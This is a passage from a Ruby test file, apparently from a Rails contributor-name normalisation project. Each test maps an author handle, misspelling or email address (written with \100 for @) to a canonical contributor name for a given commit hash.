assert_contributor_names '9d00b0c', 'Jamis Buck'
end
test 'janovetz' do
assert_contributor_names '31b901a', 'Jake Janovetz'
end
test "JanPrill\100blauton.de" do
assert_contributor_names '36fc181', 'Jan Prill'
end
test 'jardeon' do
assert_contributor_names '43ef688', 'Jared Haworth'
end
test 'Jarkko' do
assert_contributor_names '98306be', 'Jarkko Laine'
end
test 'jarkko' do
assert_contributor_names 'eefe4d0', 'Jarkko Laine'
end
test "jarkko\100jlaine.net" do
assert_contributor_names 'eede40b', 'Jarkko Laine'
end
test 'jasl' do
assert_contributor_names 'ea881ca', 'Jun Jiang'
end
test 'Jason' do
assert_contributor_names '3880ab0', 'Jason Roth'
end
test 'Jason Frey (Fryguy)' do
assert_contributor_names '1d93464', 'Jason Frey'
end
test 'jastix' do
assert_contributor_names 'a1c289d', 'Nikolay Petrachkov'
end
test 'jaw6' do
assert_contributor_names '011e469', 'Joshua Wehner'
end
test "jay\100jay.fm" do
assert_contributor_names 'f5f7beb', 'Jay Levitt'
end
test 'Jay Pignata' do
assert_contributor_names 'b372b4c', 'John Pignata'
end
test 'JayK31' do
assert_contributor_names '50555f3', 'Jason Kaye'
end
test 'jbarnette' do
assert_contributor_names 'e47392b', 'John Barnette'
end
test 'jbasdf' do
assert_contributor_names 'dd27c4e', 'Justin Ball'
end
test 'jbbarth' do
assert_contributor_names '24674b3', 'Jean Baptiste Barth'
end
test 'jbsmith86' do
assert_contributor_names '20f32bb', 'Joel Smith'
end
test 'jbwiv' do
assert_contributor_names 'af2ebb2', 'John Wells'
end
test 'jcf' do
assert_contributor_names '7cc27b7', 'James Conroy-Finn'
end
test "jcfischer\100gmail.com" do
assert_contributor_names '7ad57c4', 'Jens-Christian Fischer'
end
test 'jchris' do
assert_contributor_names '5e677b6', 'Chris Anderson'
end
test 'jcoglan' do
assert_contributor_names 'a7764d8', 'James Coglan'
end
test 'Josh <[email protected]>' do
assert_contributor_names '40e6f437e8', 'Josh Deseno'
end
test 'jean.helou' do
assert_contributor_names 'f756bfb', 'Jean Helou'
end
test "jean.helou\100gmail.com" do
assert_contributor_names 'a3659d5', 'Jean Helou'
end
test 'jeanmartin' do
assert_contributor_names 'c48f744', 'Jan Schwenzien'
end
test 'jeem' do
assert_contributor_names 'cc3183d', 'Jim Hughes'
end
test "jeff\100ministrycentered.com" do
assert_contributor_names 'a5991d8', 'Jeff Berg'
end
test "jeff\100opendbms.com" do
assert_contributor_names '85baf07', 'Jeffrey Moss'
end
test 'JEG2' do
assert_contributor_names 'b4337c2', 'James Edward Gray II'
end
test 'jejacks0n' do
assert_contributor_names 'f55ef82', 'Jeremy Jackson'
end
test 'Jeremy Daer (Kemper)' do
assert_contributor_names '1524c01', 'Jeremy Daer'
end
test 'Jeremy Kemper' do
assert_contributor_names 'bd51bbc', 'Jeremy Daer'
end
test "jeremy\100jthopple.com" do
assert_contributor_names '2e42167', 'Jeremy Hopple'
end
test "jeremy\100planetargon.com" do
assert_contributor_names '58ebf30', 'Jeremy Voorhis'
end
test "jeremydurham\100gmail.com" do
assert_contributor_names '0e146d5', 'Jeremy Durham'
end
test "jeremye\100bsa.ca.gov" do
assert_contributor_names '47b74e6', 'Jeremy Evans'
end
test 'jeremyevans' do
assert_contributor_names '5d1a305', 'Jeremy Evans'
end
test "jeremyevans0\100gmail.com" do
assert_contributor_names '02d3444', 'Jeremy Evans'
end
test 'jeremymcanally' do
assert_contributor_names 'b564d7e', 'Jeremy McAnally'
end
test 'jeremymcnally' do
assert_contributor_names 'a79ac12', 'Jeremy McAnally'
end
test 'jeroeningen' do
assert_contributor_names '2e379c1', 'Jeroen van Ingen'
end
test 'jerome' do
assert_contributor_names 'aa4af60', 'Jérôme Lipowicz'
end
test "jerrett\100bravenet.com" do
assert_contributor_names '942132b', 'Jerrett Taylor'
end
test 'JESii' do
assert_contributor_names 'f7626ea', 'Jon Seidel'
end
test "jessemerriman\100warpmail.net" do
assert_contributor_names '04d2d5f', 'Jesse Merriman'
end
test 'jferris' do
assert_contributor_names 'd8b67f7', 'Joe Ferris'
end
test 'jgarber' do
assert_contributor_names '3c6b7a2', 'Jason Garber'
end
test "jhosteny\100mac.com" do
assert_contributor_names '9f1b577', 'Joseph Hosteny'
end
test "jimw\100mysql.com" do
assert_contributor_names '68b9097', 'Jim Winstead'
end
test 'jkit' do
assert_contributor_names '96557eb', 'J Kittiyachavalit'
end
test 'jlindley' do
assert_contributor_names 'd0bc724', 'James Lindley'
end
test "jmartin\100desertflood.com" do
assert_contributor_names '2876efb', 'Joseph A. Martin'
end
test "jmckible\100gmail.com" do
assert_contributor_names '12ab93b', 'Jordan McKible'
end
test 'jmettraux' do
assert_contributor_names 'bafd698', 'John Mettraux'
end
test "joe\100mjg2.com" do
assert_contributor_names 'c4f1979', 'Joe Goldwasser'
end
test 'joeellis' do
assert_contributor_names '8e0f49e', 'Joe Ellis'
end
test "joergd\100pobox.com" do
assert_contributor_names 'efaf2af', 'Joerg Diekmann'
end
test 'joerichsen' do
assert_contributor_names '083b0b7', 'Jørgen Orehøj Erichsen'
end
test "johan\100johansorensen.com" do
assert_contributor_names 'c42cd3c', 'Johan Sørensen'
end
test 'Johan Sorensen' do
assert_contributor_names '998ab50', 'Johan Sørensen'
end
test 'Johan Sörensen' do
assert_contributor_names '14edaa1', 'Johan Sørensen'
end
test "johan\100textdrive.com" do
assert_contributor_names '3fec943', 'Johan Sørensen'
end
test 'John J Wang' do
assert_contributor_names '4033c50', 'John J. Wang'
end
test 'johnb' do
assert_contributor_names '5e94f05', 'John Barton'
end
test 'johndouthat' do
assert_contributor_names '4250cca', 'John F. Douthat'
end
test 'johnnyb' do
assert_contributor_names '2be3a33', 'Jonathan Bartlett'
end
test 'joker1007' do
assert_contributor_names 'edd93a5', 'Tomohiro Hashidate'
end
test "jon\100blankpad.net" do
assert_contributor_names '35d3ede', 'Jon Wood'
end
test "jon\100burningbush.us" do
assert_contributor_names 'e234115', 'Jon Moses'
end
test "jon.evans\100pobox.com" do
assert_contributor_names '52c9ad4', 'Jon Evans'
end
test "jon\100instance-design.co.uk" do
assert_contributor_names '97adfda', 'Jon Wood'
end
test "jon\100siliconcircus.com" do
assert_contributor_names '4d9ca4d', 'Jon Bright'
end
test "jonathan\100bluewire.net.nz" do
assert_contributor_names '1aff68d', 'Jonathan Viney'
end
test "jonathan\100daikini.com" do
assert_contributor_names '7bfca7e', 'Jonathan Younger'
end
test 'jonnii' do
assert_contributor_names '46ebbcd', 'Jonathan Goldman'
end
test 'joost' do
assert_contributor_names '6b018e3', 'Joost Baaij'
end
test 'jordanstaub' do
assert_contributor_names 'cfe731c', 'Jordan Staub'
end
test 'jordi' do
assert_contributor_names '8a5a9dc', 'Jordi Bunster'
end
test "Jose' Valim" do
assert_contributor_names 'c2e7851', 'José Valim'
end
test 'josevalim' do
assert_contributor_names '8d0b4fa', 'José Valim'
end
test 'josh' do
assert_contributor_names 'd81ac8d', 'Josh Peek'
end
test 'Josh' do
assert_contributor_names '903dcef', 'Josh Peek', 'David Heinemeier Hansson'
end
test "Josh <josh\100josh.mn>" do
assert_contributor_names 'ba3ef762fc', 'Josh Brody'
end
test "josh\100hasmanythrough.com" do
assert_contributor_names '70577d0', 'Josh Susser'
end
test "josh\100joshpeek.com" do
assert_contributor_names '8085cbf', 'Josh Peek'
end
test "josh.starcher\100gmail.com" do
assert_contributor_names 'edb4208', 'Josh Starcher'
end
test "joshknowles\100gmail.com" do
assert_contributor_names '7d01005', 'Josh Knowles'
end
test 'joshpeek' do
assert_contributor_names 'c57c721', 'Josh Peek'
end
test 'Joshua Peek' do
assert_contributor_names 'e0846c8', 'Josh Peek'
end
test "jp.bougie\100gmail.com" do
assert_contributor_names '7581193', 'Jean-Philippe Bougie'
end
test 'jqr' do
assert_contributor_names '3028ca5', 'Elijah Miller'
end
test 'jramirez' do
assert_contributor_names 'bcb47a8', 'Javier Ramírez'
end
test 'jsgarvin' do
assert_contributor_names '38deb0e', 'Jonathan Garvin'
end
test 'jsheets' do
assert_contributor_names '83a21f7', 'John Sheets'
end
test 'jsierles' do
assert_contributor_names '3f336ad', 'Joshua Sierles'
end
test "jsolson\100damogran.org" do
assert_contributor_names 'ce0653b', 'Jon Olson'
end
test 'jstewart' do
assert_contributor_names 'cf2ee14', 'Jason Stewart'
end
test "jstirk\100oobleyboo.com" do
assert_contributor_names 'a150687', 'Jason Stirk'
end
test 'jstrachan' do
assert_contributor_names '0c96060', 'James Strachan'
end
test 'juan david pastas' do
assert_contributor_names 'dbf78b0', 'Juan David Pastas'
end
test 'juandebravo' do
assert_contributor_names 'ed4bde5', 'Juan De Bravo'
end
test 'JuanitoFatas' do
assert_contributor_names 'cd0d649', 'Juanito Fatas'
end
test 'juanjo.bazan' do
assert_contributor_names '3280a6e', 'Juanjo Bazán'
end
test 'Juanjo Bazan' do
assert_contributor_names '5e83612', 'Juanjo Bazán'
end
test 'Jude Arasu' do
assert_contributor_names 'c22989d', 'Thillai Arasu'
end
test 'JudeArasu' do
assert_contributor_names 'db20780', 'Thillai Arasu'
end
test 'jugend' do
assert_contributor_names '50253ed', 'Herryanto Siatono'
end
test 'Julia Lopez' do
assert_contributor_names '5e46f4ccb4', 'Julia López'
end
test 'julik' do
assert_contributor_names 'f756bfb', 'Julian Tarkhanov'
end
test "justin\100aspect.net" do
assert_contributor_names '21d50e4', 'Justin Mecham'
end
test 'justinfrench' do
assert_contributor_names 'b2eca73', 'Justin French'
end
test 'jvoorhis' do
assert_contributor_names '6a13376', 'Jeremy Voorhis'
end
test 'jwarwick' do
assert_contributor_names 'a85caaa', 'John Warwick'
end
test 'jweiss' do
assert_contributor_names '9e1d506', 'Jonathan Weiss'
end
test 'jwilger' do
assert_contributor_names 'd0ff4ec', 'John Wilger'
end
test 'jzw' do
assert_contributor_names '5ab94b2', 'Zac Williams'
end
test "k\100v2studio.com" do
assert_contributor_names '426fa08', 'Caio Chassot'
end
test "kajism\100yahoo.com" do
assert_contributor_names '40762a4', 'Karel Miarka'
end
test 'kamal' do
assert_contributor_names '67442cb', 'Kamal Fariz Mahyuddin'
end
test 'kamk' do
assert_contributor_names 'd0df7f2', 'Kamil Kukura'
end
test 'kampers' do
assert_contributor_names 'f000028', 'Chris Kampmeier'
end
test 'Kane' do
assert_contributor_names 'cf9f361', 'Andreas Wurm'
end
test 'kane' do
assert_contributor_names '09a23d2', 'Andreas Wurm'
end
test "kanis\100comcard.de" do
assert_contributor_names '6650da4', 'Lars Kanis'
end
test 'karanarora' do
assert_contributor_names '5415230', 'Karan Arora'
end
test 'Karel Minarik' do
assert_contributor_names 'ee7487e', 'Karel Minařík'
end
test 'kares' do
assert_contributor_names '5dbd6b5', 'Karol Bucek'
end
test 'karmi' do
assert_contributor_names '4185fb1', 'Karel Minařík'
end
test 'kasper' do
assert_contributor_names '42728c7', 'Sergey Karpesh'
end
test 'kaygee' do
assert_contributor_names '6509ceb', 'Keith Gautreaux'
end
test "kazuhiko\100fdiary.net" do
assert_contributor_names '8e78e93', 'Kazuhiko Shiozaki'
end
test 'KD' do
assert_contributor_names '1333994', 'Kuldeep Aggarwal'
end
test "keegan\100thebasement.org" do
assert_contributor_names '491b4a3', 'Keegan Quinn'
end
test 'keepcosmos' do
assert_contributor_names 'ca86c9e', 'Jaehyun Shin'
end
test 'kei' do
assert_contributor_names 'e1f8ec5', 'Kei Shiratsuchi'
end
test "keithm\100infused.org" do
assert_contributor_names '70f4a92', 'Keith Morrison'
end
test "ken.barker\100gmail.com" do
assert_contributor_names '34cbf15', 'Ken Barker'
end
test "kenneth.miller\100bitfield.net" do
assert_contributor_names '9c24899', 'Ken Miller'
end
test "kennethkunz\100gmail.com" do
assert_contributor_names 'cb62f06', 'Ken Kunz'
end
test 'kennyj' do
assert_contributor_names 'bb80a87', 'Toshinori Kajihara'
end
test 'kenta-s' do
assert_contributor_names '85119f5', 'kenta-s'
end
test 'kevcha' do
assert_contributor_names 'b523b5a', 'Kevin Chavanne'
end
test "kevin.clark\100gmail.com" do
assert_contributor_names '767eaa9', 'Kevin Clark'
end
test "kevin.clark\100gmal.com" do
assert_contributor_names 'b98684c', 'Kevin Clark'
end
test "Kevin Clark kevin.clark\100gmail.com" do
assert_contributor_names '7252666', 'Kevin Clark'
end
test 'Kevin Deisz' do
assert_contributor_names '812e904', 'Kevin Newton'
end
test "kevwil\100gmail.com" do
assert_contributor_names '080e169', 'Kevin Williams'
end
test 'kgorin' do
assert_contributor_names '10e708c', 'Kirill Gorin'
end
test "kim\100tinker.com" do
assert_contributor_names '060b9b1', 'Kim Shrier'
end
test 'Kir' do
assert_contributor_names '3fb0579', 'Kir Shatrov'
end
test 'kitallis' do
assert_contributor_names 'ea6cc28', 'Akshay Gupta'
end
test 'knapo' do
assert_contributor_names 'e2d90bf', 'Krzysztof Knapik'
end
test 'kohnkecomm' do
assert_contributor_names 'cf6299d', 'kohnkecomm'
end
test 'kommen' do
assert_contributor_names '3cfb894', 'Dieter Komendera'
end
test 'kou' do
assert_contributor_names '24e6cbc', 'Kouhei Sutou'
end
test 'Koz' do
assert_contributor_names '63e9687', 'Michael Koziarski'
end
test 'kp' do
assert_contributor_names '8641de9', 'Keith Payne'
end
test 'kris_chambers' do
assert_contributor_names '274ef21', 'Kristopher Chambers'
end
test 'krishna' do
assert_contributor_names 'bf658a9', 'Krishna Kotecha'
end
test 'kuahyeow' do
assert_contributor_names 'caec639', 'Thong Kuah'
end
test 'kubo' do
assert_contributor_names '8437be3', 'Kubo Takehiro'
end
test 'kucaahbe' do
assert_contributor_names 'b4ae94f', 'Dmitrij Mjakotnyi'
end
test 'kishore-mohan' do
assert_contributor_names 'cf82b2e', 'Kishore Mohan'
end
test 'Kym' do
assert_contributor_names '6a14b01', 'Kym McInerney'
end
test "l.francke\100gmx.de" do
assert_contributor_names '620726f', 'Lars Francke'
end
test 'l.guidi' do
assert_contributor_names '083b0b7', 'Luca Guidi'
end
test 'l4u' do
assert_contributor_names 'e5c95b1', 'Leo Lou'
end
test 'Laknath' do
assert_contributor_names '0149a6e', 'Buddhika Laknath'
end
test 'lakshan' do
assert_contributor_names 'e2d0b0e', 'Lakshan Perera'
end
test 'larrylv' do
assert_contributor_names '939b896', 'Larry Lv'
end
test "larrywilliams1\100gmail.com" do
assert_contributor_names '35b4bdc', 'Larry Williams'
end
test 'lars pind' do
assert_contributor_names '2fa5bf0', 'Lars Pind'
end
test 'Lars pind' do
assert_contributor_names 'ff0b766', 'Lars Pind'
end
test "lars\100pind.com" do
assert_contributor_names 'c350291', 'Lars Pind'
end
test "lars\100pinds.com" do
assert_contributor_names '52d4166', 'Lars Pind'
end
test 'laserlemon' do
assert_contributor_names '02039e9', 'Steve Richert'
end
test "laurel\100gorgorg.org" do
assert_contributor_names '302c23d', 'Laurel Fan'
end
test 'laurelfan' do
assert_contributor_names '71a4f71', 'Laurel Fan'
end
test 'laurocaetano' do
assert_contributor_names 'e87c3da', 'Lauro Caetano'
end
test 'lawrence' do
assert_contributor_names '902533e', 'Lawrence Pit'
end
test 'lazyatom' do
assert_contributor_names 'f1b1af8', 'James Adam'
end
test "lee\100omara.ca" do
assert_contributor_names 'b272100', "Lee O'Mara"
end
test 'leikind' do
assert_contributor_names '8b63dd0', 'Yuri Leikind'
end
test 'Leon Bredt' do
assert_contributor_names '7ebdecf', 'Leon Breedt'
end
test 'leprasmurf' do
assert_contributor_names 'fce92fd', 'Tim Forbes'
end
test 'leriksen' do
assert_contributor_names '951bb84', 'Leif Eriksen'
end
test "leroen\100gmail.com" do
assert_contributor_names '6a6df5f', 'Kjetil Lerøen'
end
test 'lest' do
assert_contributor_names 'ba2d850', 'Sergey Nartimov'
end
test 'lholden' do
assert_contributor_names '19f8bb28', 'Lori Holden'
end
test 'libc' do
assert_contributor_names '9d79e06', 'Eugene Pimenov'
end
test 'libin' do
assert_contributor_names '5c9d430', 'Lebin Sebastian F'
end
test 'lifo' do
assert_contributor_names '826f0bd', 'Pratik Naik'
end
test 'lifofifo' do
assert_contributor_names '19dff14', 'Pratik Naik'
end
test 'lihan' do
assert_contributor_names '36261c8', 'Lihan Li'
end
test 'lmarlow' do
assert_contributor_names '63df6eb', 'Lee Marlow'
end
test "lmarlow\100yahoo.com" do
assert_contributor_names '04d9e94', 'Lee Marlow'
end
test 'logylaps' do
assert_contributor_names 'd38b477', 'Logy Laps'
end
test 'loincloth' do
assert_contributor_names 'b4dd1e6', 'Seth Rasmussen'
end
test "lon\100speedymac.com" do
assert_contributor_names '481d579', 'Lon Baker'
end
test 'lorenjohnson' do
assert_contributor_names '69e4cc6', 'Loren Johnson'
end
test 'lotswholetime' do
assert_contributor_names '8b3f831', 'Mark Van Holstyn'
end
test "LouisStAmour\100gmail.com" do
assert_contributor_names 'b30ccef', 'Louis St-Amour'
end
test 'Lourens Naude' do
assert_contributor_names 'b08c968', 'Lourens Naudé'
end
test 'lsylvester' do
assert_contributor_names '6c57c78', 'Lachlan Sylvester'
end
test 'Lucas Caton' do
assert_contributor_names '2b7a621', 'Lucas Catón'
end
test 'Lukasz Sarnacki' do
assert_contributor_names '0c5ca07', 'Łukasz Sarnacki'
end
test 'Lukasz Strzalkowski' do
assert_contributor_names 'f9b6b86', 'Łukasz Strzałkowski'
end
test 'lukeludwig' do
assert_contributor_names '7c147e9', 'Luke Ludwig'
end
test 'lukfugl' do
assert_contributor_names '2c3ca4c', 'Jacob Fugal'
end
test 'lylo' do
assert_contributor_names '3c0fd44', 'Olly Headey'
end
test "m.stienstra\100fngtps.com" do
assert_contributor_names 'b85c535', 'Manfred Stienstra'
end
test 'ma2gedev' do
assert_contributor_names '6f9baae', 'Takayuki Matsubara'
end
test "maceywj\100telus.net" do
assert_contributor_names 'cb4bd89', 'Jamie Macey'
end
test 'maclover7' do
assert_contributor_names 'bbcbe6e', 'Jon Moss'
end
test 'macournoyer' do
assert_contributor_names '002e73a', 'Marc-André Cournoyer'
end
test 'madlep' do
assert_contributor_names '8e50f0f', 'Julian Doherty'
end
test 'madrobby' do
assert_contributor_names 'cfa31c3', 'Thomas Fuchs'
end
test 'maik schmidt' do
assert_contributor_names 'beff664', 'Maik Schmidt'
end
test "mail\100matthewpainter.co.uk" do
assert_contributor_names 'de5b737', 'Matthew Painter'
end
test 'manfred' do
assert_contributor_names 'd4c24b6', 'Manfred Stienstra'
end
test 'Manish shrivastava' do
assert_contributor_names '6252d0a', 'Manish Shrivastava'
end
test 'manish-shrivastava' do
assert_contributor_names '8145880', 'Manish Shrivastava'
end
test 'Manu' do
assert_contributor_names 'e7e4dee', 'Manu J'
end
test 'Marc-Andre Lafortune' do
assert_contributor_names '819c347', 'Marc-André Lafortune'
end
test 'Marcel' do
assert_contributor_names '89e06ed', 'Marcel Molina Jr.'
end
test 'marcel' do
assert_contributor_names 'a995f42', 'Marcel Molina Jr.'
end
test 'Marcel Molina' do
assert_contributor_names 'ba5591f', 'Marcel Molina Jr.'
end
test 'Marcel Molina Jr' do
assert_contributor_names '4874df1', 'Marcel Molina Jr.'
end
test 'Marcel Mollina Jr.' do
assert_contributor_names '3f049b0', 'Marcel Molina Jr.'
end
test 'marcenuc' do
assert_contributor_names '603ab7d', 'Marcello Nuccio'
end
test "marcin\100junkheap.net" do
assert_contributor_names '4e9bc0f', 'Marcin Szczepański'
end
test 'marclove' do
assert_contributor_names 'ce0653b', 'Marc Love'
end
test 'Marcos Tapajos' do
assert_contributor_names 'be794d8', 'Marcos Tapajós'
end
test 'mariozig' do
assert_contributor_names 'bf044a9', 'Mario Zigliotto'
end
test 'Mark Rushakof' do
assert_contributor_names '8cc4159', 'Mark Rushakoff'
end
test 'MarkMT' do
assert_contributor_names '27da612', 'MarkMT'
end
test "mark.imbriaco\100pobox.com" do
assert_contributor_names '229c0f4', 'Mark Imbriaco'
end
test 'markevich' do
assert_contributor_names '56445c9', 'Slava Markevich'
end
test "MarkusQ\100reality.com" do
assert_contributor_names '3441dfd', 'Markus Roberts'
end
test 'Marten' do
assert_contributor_names '91eaeb2', 'Marten Veldthuis'
end
test 'Martin' do
assert_contributor_names 'e807476', 'Martin Linkhorst'
end
test "martin.emde\100gmail.com" do
assert_contributor_names 'b1257d9', 'Martin Emde'
end
test 'Martin Schürrer' do
assert_contributor_names '6bc24d4', 'Martin Schuerrer'
end
test 'masarakki' do
assert_contributor_names '83b7bf4', 'Masaki Yamada'
end
test 'mathie' do
assert_contributor_names '55b6697', 'Graeme Mathieson'
end
test 'mathieuravaux' do
assert_contributor_names 'fadd1fa', 'Mathieu Ravaux'
end
test 'matrix9180' do
assert_contributor_names '8352287', 'Chad Ingram'
end
test "mats\100imediatec.co.uk" do
assert_contributor_names '900afae', 'Mats Persson'
end
test 'matt' do
assert_contributor_names 'e2ce901a', 'Matt Aimonetti'
end
test 'Matt B.' do
assert_contributor_names '97f418c', 'Matt Boehlig'
end
test "matt\100mattmargolis.net" do
assert_contributor_names '883c54a', 'Matt Margolis'
end
test 'mattbauer' do
assert_contributor_names '83c1934', 'Matt Bauer'
end
test "matthew\100walker.wattle.id.au" do
assert_contributor_names '8cdf912', 'Matthew Walker'
end
test 'MatthewRudy' do
assert_contributor_names '7e8aee7', 'Matthew Rudy Jacobs'
end
test 'mattly' do
assert_contributor_names 'd5a93b6', 'Matt Lyon'
end
test "\100mattt" do
assert_contributor_names 'ef91cdd', 'Mattt Thompson'
end
test 'Matt Stopa' do
assert_contributor_names '3c90f7a', 'Matthew Stopa'
end
test 'Maxime RETY' do
assert_contributor_names 'c7e875a', 'Maxime Réty'
end
test 'Mehmet Emin İNAÇ' do
assert_contributor_names 'ca77998', 'Mehmet Emin İNAÇ'
end
test 'maximerety' do
assert_contributor_names 'd0f22a9', 'Maxime Réty'
end
test "maznawak\100nerim.net" do
assert_contributor_names '92473b8', 'Simon Arnaud'
end
test 'mazuhl' do
assert_contributor_names '106b78d', 'Max Mitchell'
end
test 'mcmire' do
assert_contributor_names '0ff0319', 'Elliot Winkler'
end
test "mdabney\100cavoksolutions.com" do
assert_contributor_names '43b6a74fb1', 'Blane Dabney'
end
test 'mdeiters' do
assert_contributor_names 'e59978a', 'Matthew Deiters'
end
test "me\100jonnii.com" do
assert_contributor_names '4793a2f', 'Jonathan Goldman'
end
test "me\100julik.nl" do
assert_contributor_names '2ffc84d', 'Julian Tarkhanov'
end
test "me\100mdaines.com" do
assert_contributor_names '191dfe8', 'Michael Daines'
end
test "meadow.nnick\100gmail.com" do
assert_contributor_names '7c8f3ed', 'Lugovoi Nikolai'
end
test "medlar\100medlar.it" do
assert_contributor_names '5525b79', 'Giovanni Intini'
end
test 'mfazekas' do
assert_contributor_names '341afb6', 'Miklós Fazekas'
end
test 'mfoster' do
assert_contributor_names '5850edf', 'Mark W. Foster'
end
test 'mhuffnagle' do
assert_contributor_names '328ae5b', 'Marc Huffnagle'
end
test 'mhutchin' do
assert_contributor_names '738e906', 'Michael Hutchinson'
end
test 'mhw' do
assert_contributor_names 'c7df5bd6', 'Mark H. Wilkinson'
end
test 'mica eked' do
assert_contributor_names 'd5e3c49', 'Mica Eked'
end
test 'Michael A. Schoen' do
assert_contributor_names '94a1309', 'Michael Schoen'
end
test 'Michael Gunderloy' do
assert_contributor_names '6222ac1', 'Mike Gunderloy'
end
test 'Michael S. Klishin' do
assert_contributor_names 'e21ed3e', 'Michael Klishin'
end
test "michael\100schubert" do
assert_contributor_names '7d6f783', 'Michael Schubert'
end
test "michael\100schubert.cx" do
assert_contributor_names 'fd9c15e', 'Michael Schubert'
end
test "michael\100schuerig.de" do
assert_contributor_names '2abe3d2', 'Michael Schuerig'
end
test 'Michael Shuerig' do
assert_contributor_names '4836c40', 'Michael Schuerig'
end
test 'michaelminter' do
assert_contributor_names '90f7f81', 'Michael Minter'
end
test 'Miguel' do
assert_contributor_names '2e4df2a', 'Miguel Fernández'
end
test "mike\100clarkware.com" do
assert_contributor_names '9f3625d', 'Mike Clark'
end
test "mike\100michaeldewey.org" do
assert_contributor_names '750ca79', 'Michael Dewey'
end
test 'mikel' do
assert_contributor_names '1d5d050', 'Mikel Lindsaar'
end
test 'mikeycgto' do
assert_contributor_names '6df2db3', 'Michael Coyne'
end
test 'Miklos Fazekas' do
assert_contributor_names 'be0875f4', 'Miklós Fazekas'
end
test 'Miklos Fazkeas' do
assert_contributor_names 'fb71fa6', 'Miklós Fazekas'
end
test 'mikong' do
assert_contributor_names '632ab24', 'Michael Galero'
end
test 'miloops' do
assert_contributor_names 'f253e98', 'Emilio Tagua'
end
test "minimudboy\100gmail.com" do
assert_contributor_names '3fb5828', 'Lewis Jubb'
end
test 'Mip Earson' do
assert_contributor_names '4ae1cdd', 'Michael Pearson'
end
test 'misfo' do
assert_contributor_names '7706b57', 'Trent Ogren'
end
test 'mislav' do
assert_contributor_names 'a550d2a', 'Mislav Marohnić'
end
test 'Mislav Marohnic' do
assert_contributor_names '9c0e4de', 'Mislav Marohnić'
end
test "mislav\100nippur.irb.hr" do
assert_contributor_names 'c02d1f7', 'Mislav Marohnić'
end
test 'mislaw' do
assert_contributor_names '73fba4f', 'Mislav Marohnić'
end
test "mlaster\100metavillage.com" do
assert_contributor_names 'de5b737', 'Mike Laster'
end
test "mmangino\100elevatedrails.com" do
assert_contributor_names '3ad1a98', 'Mike Mangino'
end
test 'mnaberez' do
assert_contributor_names '31d3048', 'Mike Naberezny'
end
test 'mntj' do
assert_contributor_names 'cb97312', 'Corey Leveen'
end
test 'mo khan' do
assert_contributor_names '140557e', 'Mo Khan'
end
test 'mojombo' do
assert_contributor_names '928c84b', 'Tom Preston-Werner'
end
test 'Molchanov Andrey' do
assert_contributor_names '37f2674', 'Andrey Molchanov'
end
test 'moriq' do
assert_contributor_names '2876efb', 'Kazuhiro Yoshida'
end
test "moriq\100moriq.com" do
assert_contributor_names 'd4bb22b', 'Kazuhiro Yoshida'
end
test 'moro' do
assert_contributor_names '9a8d583', 'Kyosuke Morohashi'
end
test "mortonda\100dgrmm.net" do
assert_contributor_names '2876efb', 'David Morton'
end
test 'moses' do
assert_contributor_names 'e5b3d4b', 'Moses Hohman'
end
test 'mpalmer' do
assert_contributor_names '2503fd3', 'Matt Palmer'
end
test "mpalmer\100hezmatt.org" do
assert_contributor_names '7767e33', 'Matt Palmer'
end
test "mparrish\100pearware.org" do
assert_contributor_names '5fe0ecc', 'Matt Parrish'
end
test 'Mr A' do
assert_contributor_names '3134605', 'Akshay Vishnoi'
end
test 'mrageh' do
assert_contributor_names '9494855', 'Adam Magan'
end
test 'MrBrdo' do
assert_contributor_names 'bc7c0b5', 'Jan Berdajs'
end
test 'mrichman' do
assert_contributor_names '131acec', 'Mark A. Richman'
end
test 'mrj' do
assert_contributor_names 'ef57b93', 'Mark R. James'
end
test "mrj\100bigpond.net.au" do
assert_contributor_names '95e8740', 'Mark James'
end
test 'mrkjlchvz' do
assert_contributor_names 'e19ce8b', 'mrkjlchvz'
end
test 'mroch' do
assert_contributor_names '81286f8', 'Marshall Roch'
end
test 'mtitorenko' do
assert_contributor_names '74191ed', 'Mark J. Titorenko'
end
test 'Muhammad' do
assert_contributor_names '73fdd4c', 'Muhammad Muhammad Ibrahim'
end
test 'murphy' do
assert_contributor_names 'dcc1549', 'Kornelius Kalnbach'
end
test "murphy\100cYcnus.de" do
assert_contributor_names '71ff705', 'Kornelius Kalnbach'
end
test "murpyh\100rubychan.de" do
assert_contributor_names '5326274', 'Kornelius Kalnbach'
end
test 'mutru' do
assert_contributor_names '00326bb', 'Otto Hilska'
end
test 'nachocab' do
assert_contributor_names '2e8f910', 'Nacho Caballero'
end
test 'naffis' do
assert_contributor_names '1117d73', 'Dave Naffis'
end
test 'nate' do
assert_contributor_names '056ddbd', 'Nathan Kontny'
end
test 'NeilW' do
assert_contributor_names '9f26164', 'Neil Wilson'
end
test 'Neodelf' do
assert_contributor_names 'e0e7047', 'Andrey Molchanov'
end
test 'nerdinand' do
assert_contributor_names '38c833c', 'Ferdinand Niedermann'
end
test 'neumayr' do
assert_contributor_names 'd7b6054', 'Matthias Neumayr'
end
test 'Nerian' do
assert_contributor_names '2ebf47a', 'Gonzalo Rodríguez-Baltanás Díaz'
end
test 'neshmi' do
assert_contributor_names 'e91d7ed', 'Matthew Vincent'
end
test 'Nex3' do
assert_contributor_names '4036fcc', 'Nathan Weizenbaum'
end
test 'Nick' do
assert_contributor_names '37b0b36', 'Nick Sieger'
end
test "nick+rails\100ag.arizona.edu" do
assert_contributor_names '06afb8c', 'Nick Murphy'
end
test 'nicksieger' do
assert_contributor_names '2029b8a', 'Nick Sieger'
end
test "nicksieger\100gmail.com" do
assert_contributor_names '81a6a60', 'Nick Sieger'
end
test 'Nicolas Hock Isaza' do
assert_contributor_names 'ee822f2', 'Nicolás Hock Isaza'
end
test "nicolas.pouillard\100gmail.com" do
assert_contributor_names '8910de6', 'Nicolas Pouillard'
end
test 'Nicolas Sanguinetti' do
assert_contributor_names 'd5d7171', 'Nicolás Sanguinetti'
end
test 'nik.kakelin' do
assert_contributor_names '2bc5e6c', 'Nik Wakelin'
end
test 'nik.wakelin' do
assert_contributor_names '5bf40f7', 'Nik Wakelin'
end
test "nils\100alumni.rice.edu" do
assert_contributor_names '64b7c5f', 'Nils Jonsson'
end
test 'nilsga' do
assert_contributor_names 'cb79118', 'Nils-Helge Garli Hegvik'
end
test 'nishant-cyro' do
assert_contributor_names '517caa8', 'Nishant Tuteja'
end
test 'nkallen' do
assert_contributor_names 'c6f2af5', 'Nick Kallen'
end
test 'noam' do
assert_contributor_names 'b64fb30', 'Noam Gagliardi Rabinovich'
end
test 'Nobuhiro IMAI' do
assert_contributor_names 'e535b45', 'Nobuhiro Imai'
end
test 'Noemj' do
assert_contributor_names 'a53935d', 'Olli Rissanen'
end
